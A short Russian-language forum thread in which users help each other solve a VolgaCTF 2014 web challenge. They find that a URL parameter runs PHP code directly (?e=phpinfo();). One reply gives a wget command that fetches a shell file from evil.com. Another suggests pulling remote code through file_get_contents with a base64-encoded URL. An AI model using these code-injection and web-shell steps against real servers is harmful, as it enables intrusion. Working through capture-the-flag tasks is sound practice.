![]() |
Добрый день античатовцы, помогите пожалуйста найти флаг)
http://tasks.2014.volgactf.ru:28103/ |
Какая-то ссылка подозрительная. Не пойду.
|
Цитата:
Notice: Undefined index: e in /var/www/index.php on line 3 Куда е дели? Третья строка негодует) |
есть подсказка /?e=echo pi
|
Цитата:
http://www.php.su/functions/?pi соответственно e=echo functionname выведет результат functionname() например http://tasks.2014.volgactf.ru:28103/?e=echo+phpinfo; На этом мои знания заканчиваются, да и не честно так )) |
У тебя на прямую выполняется:
_ttp://tasks.2014.volgactf.ru:28103/?e=phpinfo(); классика же: Код:
wget -o test.php http://evil.com/sh.txt |
или этой функцией http://www.php.net/manual/ru/function.file-get-contents.php
при необходимости урл можно закодировать в базу64 и дергать в file_get_contents через base64_decode |
| Время: 16:37 |